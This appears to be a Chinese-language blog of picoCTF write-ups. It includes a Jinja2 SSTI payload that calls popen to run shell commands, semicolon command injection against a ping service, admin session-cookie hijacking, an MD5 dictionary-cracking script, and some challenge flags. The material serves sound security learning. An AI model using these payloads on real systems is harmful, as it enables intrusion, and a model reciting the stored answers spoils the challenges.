54696254494c77486c520a764938594b2b557355784368464a71446178664362595571742b797657684f597934694f386e39724470612f444e50392f6d2b6a304b6f436c4a5977566b4d310a6b35497937625a57464f74765257395a7772787847684d3d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a

首先先將私鑰存到 private.pem（檔名隨意），使用 nano 或習慣的文字編輯器。
```
nano private.pem
```
這個私鑰屬於 PEM 格式的私鑰，可以使用 openssl 指令來進行解密。
```
openssl pkeyutl -decrypt -inkey private.pem -in flag.enc -out flag.txt
```
指令詳細內容：

Flag Hunters

Sun, 03 May 2026 02:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/472

題目解法

下載題目原始碼後進行分析，發現當程式遇到 CROWD 開頭的行時會將使用者輸入的內容會被寫回 song_lines[lip]。此外程式在處理每一行時，會先用 split(';') 將其分割成多個子指令進行循環。
因此當我們輸入

;RETURN 0

程式內部的反應如下：

song_lines[lip] 會變成 ‘Crowd: ;RETURN 0’。
for line in song_lines[lip].split(’;’): 會將這一行切成兩部分：
- 第一部分：‘Crowd: ’ -> 進入 else 分支，列印內容並將 lip 加 1。
- 第二部分：‘RETURN 0’ -> 進入 elif re.match(r"RETURN [0-9]+", line): 分支。
此時 lip 會被設為 int(‘0’)，也就是 0。

while 迴圈繼續執行，下一次迭代就會從 song_lines[0] 開始列印，這時隱藏在開頭的 flag 就會被直接輸出到螢幕上。

webshell:~$ nc verbal-sleep.picoctf.net 53947
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: ;RETURN 0
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{706-------------------788}

題目原始碼

lyric-reader.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132


import re
import time


# Read in flag from file
flag = open('flag.txt', 'r').read()

secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'


song_flag_hunters = secret_intro +\
'''

[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;
'''

MAX_LINES = 100

def reader(song, startLabel):
 lip = 0
 start = 0
 refrain = 0
 refrain_return = 0
 finished = False

 # Get list of lyric lines
 song_lines = song.splitlines()

 # Find startLabel, refrain and refrain return
 for i in range(0, len(song_lines)):
 if song_lines[i] == startLabel:
 start = i + 1
 elif song_lines[i] == '[REFRAIN]':
 refrain = i + 1
 elif song_lines[i] == 'RETURN':
 refrain_return = i

 # Print lyrics
 line_count = 0
 lip = start
 while not finished and line_count < MAX_LINES:
 line_count += 1
 for line in song_lines[lip].split(';'):
 if line == '' and song_lines[lip] != '':
 continue
 if line == 'REFRAIN':
 song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
 lip = refrain
 elif re.match(r"CROWD.*", line):
 crowd = input('Crowd: ')
 song_lines[lip] = 'Crowd: ' + crowd
 lip += 1
 elif re.match(r"RETURN [0-9]+", line):
 lip = int(line.split()[1])
 elif line == 'END':
 finished = True
 else:
 print(line, flush=True)
 time.sleep(0.5)
 lip += 1



reader(song_flag_hunters, '[VERSE1]')

hashcrack

Sun, 03 May 2026 01:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/475

題目解法

可以使用 python 腳本或是線上 hash cracking 工具來完成這題，以下示範使用 python 腳本加上 rockyou.txt 字典。

使用 nc 連線進去後，第一個 hash 值長度為 32，可以猜測是 MD5。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


import hashlib

target_hash = "482c811da5d5b4bc6d497ffa98491e38"
dict_path = "rockyou.txt"

with open(dict_path, 'rb') as f:
 for line in f:
 password = line.strip()
 if hashlib.md5(password).hexdigest() == target_hash:
 print(f"Found: {password.decode(errors='ignore')}")
 break

interencdec

Sun, 03 May 2026 01:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/418

題目解法

下載檔案後得到一個字串，字串的組成以及結尾的 == 極可能是 base64 編碼。
```
YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclgyMHdNakV5TnpVNGZRPT0nCg==
```

解碼後得到以下字串

b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrX20wMjEyNzU4fQ=='

將單引號中的內容再次使用 base64 解碼後得到
```
wpjvJAM{jhlzhy_k3jy9wa3k_m0212758}
```
使用凱撒加密偏移量 19 進行解密即可得到 flag。
```
picoCTF{cae-------------------758}
```

head-dump

Sun, 03 May 2026 00:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/476

題目解法

啟動網站後查看原始碼可以發現有一個 /api-docs 的頁面。
發現最下面有一個 /heapdump 的 api，按下 Try it out，並按下 Execute，之後將 Response body 下載下來，以文字編輯器打開即可得到 flag。

下載後開啟檔案 heapdump-1777741477740.heapsnapshot：
```
picoCTF{Pat---------------------6ba}
```

SSTI1

Sun, 03 May 2026 00:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/492

題目解法

題目標題是 SSTI，因此啟動網站後我們嘗試輸入 {{ 7*7 }}，結果顯示 49，表示存在 SSTI 漏洞，且可能是 Python/Jinja2 或 PHP/Twig。
```
{{ 7*7 }}
```
輸入 {{ 7*'7' }} 輸出 7777777 確定是 Python/Jinja2。
```
{{ 7*'7' }}
```
接著我們要嘗試尋找到 os 模組，輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容，我們要嘗試找到 os._wrap_close，搜尋後發現他是第 132 個（從 0 開始）。
```
{{ [].__class__.__base__.__subclasses__() }}
```

使用以下指令就能夠執行 linux 指令，找到 flag 並讀取它。用 ls 列出當前目錄下的檔案：

{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('ls').read() }}

用 cat 讀取 flag：

{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read() }}

picoCTF{s4r-------------------------------------------533}

WebDecode

Sun, 03 May 2026 00:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/427

題目解法

前往網站後，發現 about 頁面寫著 “Try inspecting the page!! You might find it there”，使用 Ctrl + U 查看頁面原始碼。
原始碼頁面中有其中一行很可疑，使用 base64 解碼即可得到 flag。

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9">

picoCTF{web---------------------------c79}

FANTASY CTF

Sat, 02 May 2026 23:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/471

題目解法

使用 nc 連線後不斷 enter，第一次遇到選項選 c，第二次選 a，即可得到 flag。

webshell:~$ nc verbal-sleep.picoctf.net 55371
FANTASY CTF SIMULATION
The simulation begins in the private room of Eibhilin, a bright, young student.
The room is dimly lit, with the glow of her multiple monitors casting an
electric blue hue on the walls. Around the room are posters of vintage movies
from the MCU — ancient guardians from another age staring down like digital
sentinels.
---
(Press Enter to continue...)
---
Eibhilin stretches back in her chair, adjusting the holo-display of her
keyboard. A soft hum of a nearby server fills the air as her AI companion,
`Nyx`, comes to life.
---
(Press Enter to continue...)
---
"Good evening, Ei," Nyx chirps, "The 3025 edition of picoCTF registration is
open. You asked me to remind so you could try out the competition for the first
time. Do you wish to proceed?"
---
(Press Enter to continue...)
---
Outside, the city of Nexalus glimmers under the stars, but Eibhilin's focus
remains entirely on the screen in front of her.
---
(Press Enter to continue...)
---
"Yes, Nyx. Let's do it!"
---
(Press Enter to continue...)
---
Nyx brings up the registration page.
Options:
A) *Register multiple accounts*
B) *Share an account with a friend*
C) *Register a single, private account*
[a/b/c] > c
Nyx nods, "Good choice, Ei. Let's proceed with a single, private account. It
can be tempting to try and do something 'clever', but registering multiple
accounts or sharing an account with a friend can lead to disqualification."
---
(Press Enter to continue...)
---
"Ok," Nyx says, "Registering you for the competition... There's an introductory
audio message, piping to your speakers."
---
(Press Enter to continue...)
---
"Welcome hacker! You're about to embark on a journey that will teach you many
esoteric and valuable skills. Our mission is to guide you in the right path,
that you may use these skills to protect and defend and never for selfish gain
or deceit. We hope you enjoy the challenges that our authors have devised this
year. Always remember: 'With great power, comes great responsibility!'"
---
(Press Enter to continue...)
---
Nyx continues, "I've gleaned from the Ether that in CTF competitions, it's
always good to start with the 'sanity' challenge. It should be the challenge
worth the least amount of points. I'll pull it up. You're looking for something
called the flag. You should know it when you see it."
---
(Press Enter to continue...)
---
"Oh interesting," Eibhilin says, "It seems like the sanity challenge is an old
school interactive fiction game."
---
(Press Enter to continue...)
---
Options:
A) *Play the game*
B) *Search the Ether for the flag*
[a/b] > a
"Good choice, Ei," Nyx says, "You never want to share flags or artifact
downloads."
---
(Press Enter to continue...)
---
Playing the Game
Playing the Game: 100%|██████████████████████████████████████ [time left: 00:00]
Playing the Game completed successfully!
---
(Press Enter to continue...)
---
"That was fun!" Eibhilin exclaims, "I found the flag!"
---
(Press Enter to continue...)
---
Nyx says, "Great job, Ei! I've read that a lot of players create writeups of
interesting challenges they solve during the competition. Just be sure to wait
to publish them until after the winners have been announced. We can work on
that together if you'd like."
---
(Press Enter to continue...)
---
"Thanks, Nyx! Here's the flag I found: picoCTF{m11--------------------7f5}"
---
(Press Enter to continue...)
---
"Great, you just got 10 points!" Nyx exclaims.
---
(Press Enter to continue...)
---
Eibhilin smiles, "I'm off to a good start!"
---
(Press Enter to continue...)
---

Cookie Monster Secret Recipe

Sat, 02 May 2026 23:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/469

題目解法

啟動挑戰後隨便輸入一組帳密，之後按下 F12 查看開發者工具的 Appilaction 中的 Cookies。
將 Cookies 的值用 URL decode 加上 base64 解碼後即可得到 flag。
```
picoCTF{c00-------------------------------ED1}
```

RED

Sat, 02 May 2026 22:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/460

題目解法

下載檔案後發現是 .png 檔，使用 strings 指令得到下面這段文字，是一首藏頭詩，內容是 CHECKLSB。
LSB 指的是 Least Significant Bit，也就是將資料藏在每個像素中最不明顯的一位元，用肉眼無法察覺。

webshell:~$ strings red.png
IHDR
tEXtPoem
Crimson heart, vibrant and bold,
Hearts flutter at your sight.
Evenings glow softly red,
Cherries burst with sweet life.
Kisses linger with your warmth.
Love deep as merlot.
Scarlet leaves falling softly,
Bold in every stroke.x
IDATx
IEND

要找到使用 LSB 隱藏的資料，可以使用 zsteg 這個工具。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


webshell:~$ zsteg red.png
meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b1,rgba,msb,xy .. file: OpenPGP Public Key
b2,g,lsb,xy .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy .. file: OpenPGP Secret Key
b2,bgr,msb,xy .. file: OpenPGP Public Key
b2,rgba,lsb,xy .. file: OpenPGP Secret Key
b2,rgba,msb,xy .. text: "CIkiiiII"
b2,abgr,lsb,xy .. file: OpenPGP Secret Key
b2,abgr,msb,xy .. text: "iiiaakikk"
b3,rgba,msb,xy .. text: "#wb#wp#7p"
b3,abgr,msb,xy .. text: "7r'wb#7p"
b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped

可以發現輸出結果中有一段亂碼明顯是使用 base64 編碼後的文字，將其解碼即可得到 flag。

PIE TIME

Sat, 02 May 2026 21:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/490

題目解法

下載原始碼後可以知道有一個 win() 函式，下載執行檔後進行使用 objdump 進行反組譯。反組譯後可以找到 win 和 main 的位址。

objdump -d vuln

...
00000000000012a7 <win>:
12a7: f3 0f 1e fa endbr64
12ab: 55 push %rbp
12ac: 48 89 e5 mov %rsp,%rbp
12af: 48 83 ec 10 sub $0x10,%rsp
...
000000000000133d <main>:
133d: f3 0f 1e fa endbr64
1341: 55 push %rbp
1342: 48 89 e5 mov %rsp,%rbp
1345: 48 83 ec 20 sub $0x20,%rsp
1349: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
...

使用 nc 連線進去後會提供 main 的位址，可以反推出 win 的位址，輸入後即可得到 flag。

DISKO 1

Sat, 02 May 2026 19:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/505

題目解法

使用 wget 下載檔案後，用 gunzip 解壓縮。
```
gunzip disko-1.dd.gz
```
根據提示得知要使用 strings 指令，不過輸出的內容太多，因此使用 grep 過濾輸出內容，即可找到 flag。
```
webshell:~$ strings disko-1.dd | grep "picoCTF"
picoCTF{1t5--------------------2ef}
```

Corrupted file

Sat, 02 May 2026 18:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/519

題目解法

下載檔案後，根據題目提示可以知道檔案是一個 .jpg 檔案，使用十六進位編輯器查看也可以看到開頭有 JFIF。
不過單純將附檔名修改成 .jpg 是無法打開的，因為檔案有被修改過。正常 .jpg 檔案開頭應該是 FF D8 FF，但是現在檔案開頭是 5C 78 FF。修改完畢後打開就可以得到 flag。
```
picoCTF{r3s----------------------558}
```

Flag in Flame

Sat, 02 May 2026 18:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/523

題目解法

下載檔案根據提示知道要使用 base64 解碼，可以使用 base64 指令進行解碼。
```
base64 -d logs.txt > img.png
```

使用 file 指令可以知道是 .png 檔案。

webshell:~$ file img.jpg
img.jpg: PNG image data, 896 x 1152, 8-bit/color RGB, non-interlaced

將圖片中的內容用 hex 解碼後即可得到 flag。

7069636F4354467B666F72656E736963735F616E616C797369735F69735F616D617A696E675F35636363376362307D

picoCTF{for--------------------------------cb0}

提示

假設是使用 picoCTF 提供的 webshell，要將檔案下載到本地，可以使用 sz 指令。

sz img.png

Hidden in plainsight

Sat, 02 May 2026 17:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/524

題目解法

下載檔案後使用 file 指令查看檔案資訊，發現 comment 的內容像是使用 base64 編碼的文字。

webshell:~$ file img.jpg
img.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9", baseline, precision 8, 640x640, components 3

將 comment 解碼後得到：
```
steghide:cEF6endvcmQ=
```
將後半段再次使用 base64 解碼後得到：
```
pAzzword
```

根據解碼內容可以得知要使用 steghide，密碼為 pAzzword。

webshell:~$ steghide extract -sf img.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

得到 flag.txt。

webshell:~$ cat flag.txt
picoCTF{h1d------------------cd0}

Log Hunt

Sat, 02 May 2026 04:50:00 +0800

題目連結

https://learn.cylabacademy.org/library/527

題目解法

下載得到 server.log 後，使用 cat 查看發現是很長的檔案，加上 grep 指令嘗試尋找 flag 開頭 "pico" 文字。

webshell:~$ cat server.log | grep "pico"
[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_

發現 flag 都是以 FLAGPART 開頭，因此再次使用 grep 指令尋找

webshell:~$ cat server.log | grep "FLAGPART"
[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_
[1990-08-09 10:02:55] INFO FLAGPART: y0urlinux_
[1990-08-09 10:05:54] INFO FLAGPART: sk1lls_
[1990-08-09 10:05:55] INFO FLAGPART: sk1lls_
[1990-08-09 10:10:54] INFO FLAGPART: cedfa5fb}
[1990-08-09 10:10:58] INFO FLAGPART: cedfa5fb}
[1990-08-09 10:11:06] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:09:16] INFO FLAGPART: y0urlinux_
[1990-08-09 11:09:19] INFO FLAGPART: y0urlinux_
[1990-08-09 11:12:40] INFO FLAGPART: sk1lls_
[1990-08-09 11:12:45] INFO FLAGPART: sk1lls_
[1990-08-09 11:16:58] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:16:59] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:17:00] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:23:43] INFO FLAGPART: y0urlinux_
[1990-08-09 12:23:45] INFO FLAGPART: y0urlinux_
[1990-08-09 12:23:53] INFO FLAGPART: y0urlinux_
[1990-08-09 12:25:32] INFO FLAGPART: sk1lls_
[1990-08-09 12:28:45] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:28:49] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:28:52] INFO FLAGPART: cedfa5fb}

將 flag 以合理的順序組合。

picoCTF{us3-----------------------5fb}

Riddle Registry

Sat, 02 May 2026 04:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/530

題目解法

下載得到 confidential.pdf 後，打開會發現很多用黑色擋住的文字，但是不重要，重要的是根據題目提示我們要查看 pdf 檔案的 metadata。要查看 metadata 可以使用 pdf 閱讀器或是 exiftool(推薦)、pdfinfo 指令來查看，也可以用 strings 指令。

webshell:~$ exiftool confidential.pdf
ExifTool Version Number : 12.40
File Name : confidential.pdf
Directory : .
File Size : 178 KiB
File Modification Date/Time : 2025:11:07 19:17:33+00:00
File Access Date/Time : 2026:05:01 20:29:29+00:00
File Inode Change Date/Time : 2026:05:01 20:29:29+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Producer : PyPDF2
Author : cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV9jMjA3MzY2OX0=

可以看到 Author 欄位是一串由英文字母及數字且 = 結尾的亂碼，可以推斷是 base64 編碼，解碼後得到 flag。

Binary Digits

Sat, 02 May 2026 04:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/698

題目解法

下載 digits.bin，內容都是由 0 和 1 組成，使用 cyberchef 的 From Binary 解碼後，會得到一串亂碼。
下載解碼露的檔案並放入 16 進位編輯器（如 HxD）中，會發現檔案開頭有 JFIF，因此可以猜測是 .jpg 的圖片檔。
將副檔名改為 .jpg 或是直接在 cyberchef 選擇 Render image 就能得到有 flag 的圖片。
```
picoCTF{h1d-----------------------b0a}
```

MultiCode

Sat, 02 May 2026 03:25:00 +0800

題目連結

https://learn.cylabacademy.org/library/710

題目解法

下載 message.txt，內容如下。

1

NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjczNzM2ZjZmNmY3MzM1MzcyNTM3NDQ=

目前字串由大小寫字母及數字組成，且結尾是 =，可推測是使用 base64 編碼，解碼後如下。
```
637670625047532537426172666772715f72617030717661745f73736f6f6f733537253744
```
接著字串由多個數字以及 a 到 f 字母組成，可推測是使用 hex 編碼，解碼後如下。
```
cvpbPGS%7Barfgrq_rap0qvat_ssooos57%7D
```
字串中有 % 符號，且後面跟著兩個十六進位數字，這是 URL encoding 的特徵，解碼後如下。
```
cvpbPGS{arfgrq_rap0qvat_ssooos57}
```
字串開頭應該是 picoCTF，但是目前字串開頭是 cvpbPGS，使用 ROT13 進行解密，得到 flag。
```
picoCTF{nes-----------------b57}
```

提示

建議可以使用 cyberchef 這個線上工具來進行解碼，以下是解碼的步驟：

Piece by Piece

Fri, 01 May 2026 18:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/740

題目解法

使用題目提供的 ssh 連線進去後，可以看到 instructions.txt。根據提示內容可以知道要將所有部分接在一起後解壓縮，才能獲得 flag。

1
2
3
4
5
6


Hint:

- The flag is split into multiple parts as a zipped file.
- Use Linux commands to combine the parts into one file.
- The zip file is password protected. Use this "supersecret" password to extract the zip file.
- After unzipping, check the extracted text file for the flag.

SUDO MAKE ME A SANDWICH

Fri, 01 May 2026 17:40:00 +0800

題目連結

https://learn.cylabacademy.org/library/735

題目解法

使用題目提供的 ssh 連線進去後，可以看到家目錄中有 flag.txt，但沒有權限讀取。

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ cat flag.txt
cat: flag.txt: Permission denied
ctf-player@challenge:~$ sudo cat flag.txt
[sudo] password for ctf-player:
Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.

使用 sudo 加上 -l 參數可以查看當前使用者使用 sudo 的權限，發現可以使用 sudo 執行 emacs 指令。

ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/emacs

emacs 是一個文字編輯器，可以使用 emacs 開啟 flag.txt，就可以看到裡面的內容了。

Old Sessions

Fri, 24 Apr 2026 23:35:00 +0800

題目連結

https://learn.cylabacademy.org/library/739

題目解法

進入網頁後，先隨便建立一組帳密並登入。登入後再主頁面可以看到多人的留言，其中 “mary_jones_8992” 留言 “Hey I found a strange page at /sessions”，如圖片所示。
前往 /sessions 頁面後，可以看到此頁面存了個使用者的 session data，包含 admin 的。
開啟瀏覽器的開發者工具，將 admin 的 session data 複製下來，點選 Application （有些瀏覽器叫做 storage），找到 Cookies，將 session 換成 /sessions 頁面中 admin 的 session data。
重新整理頁面後，就會變成 admin 身分，畫面上就出現 flag 了。

通靈解法

我解 CTF 題目時習慣性會直接在登入頁面輸入帳號 admin 密碼 password 來登入看看，結果第一次解這題時，這題 admin 的帳密剛好就是這組，害我第一次就直接就登進去看到 flag。

Bytemancy 0

Wed, 22 Apr 2026 02:46:08 +0800

題目連結

https://learn.cylabacademy.org/library/742

題目解法

下載題目提供的原始碼後，，可以看到第11行顯示當使用者輸入 3 個連續 e 時，就會印出 flag。
app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


while(True):
 try:
 print('⊹──────[ BYTEMANCY-0 ]──────⊹')
 print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
 print()
 print('Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.')
 print()
 print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
 print('⊹─────────────⟡─────────────⊹')
 user_input = input('==> ')
 if user_input == "\x65\x65\x65":
 print(open("./flag.txt", "r").read())
 break
 else:
 print("That wasn't it. I got: " + str(user_input))
 print()
 print()
 print()
 except Exception as e:
 print(e)
 break

ping-cmd

Wed, 22 Apr 2026 01:55:48 +0800

題目連結

https://learn.cylabacademy.org/library/757

題目解法

啟動後透過 nc 指令連線，連線後內容大致如下，可以輸入一個 IP 位址（題目為了安全性只允許8.8.8.8）。

$ nc mysterious-sea.picoctf.net 54500
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.44 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 8.433/8.438/8.444/0.005 m

根據提示及猜測，題目極有可能是使用 ping 指令後面加上使用者輸入的內容，因此可能存在指令注入（Command Injection）。因此可以嘗試在 IP 位址後面加上 ; 再加上其他指令來執行，以下為嘗試的指令。可以看到執行後列出當前目錄下有兩個檔案，分別是 flag.txt 和 script.sh。

Bytemancy 1

Fri, 17 Apr 2026 22:43:28 +0800

題目連結

https://learn.cylabacademy.org/library/762

題目解法

將題目提供的原始碼下載後，可以看到第11行顯示當使用者輸入 1751 個 e 時，就會印出 flag。
app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


while(True):
 try:
 print('⊹──────[ BYTEMANCY-1 ]──────⊹')
 print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
 print()
 print('Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.')
 print()
 print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
 print('⊹─────────────⟡─────────────⊹')
 user_input = input('==> ')
 if user_input == "\x65"*1751:
 print(open("./flag.txt", "r").read())
 break
 else:
 print("That wasn't it. I got: " + str(user_input))
 print()
 print()
 print()
 except Exception as e:
 print(e)
 break

My Git

Fri, 17 Apr 2026 21:18:48 +0800

題目連結

https://learn.cylabacademy.org/library/764

題目解法

輸入 ssh 指令以及密碼來 clone 下專案到本地。

查看 README.md 內容，得知要使用使用者名稱 root、電子郵件 root@picoctf 來推送 flag.txt 到遠端。

1
2
3
4
5
6
7
8


$ cat README.md
# MyGit

### If you want the flag, make sure to push the flag!

Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag.

GOOD LUCK!

使用 git config 來設定使用者名稱和電子郵件

Undo

Thu, 16 Apr 2026 22:00:24 +0800

題目連結

https://learn.cylabacademy.org/library/766

題目解法

透過 nc 指令連線

步驟一：

--- Step 1 ---
Current flag: KTBxcDI0bnIwLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj
Hint: Base64 encoded the string.
Enter the Linux command to reverse it:

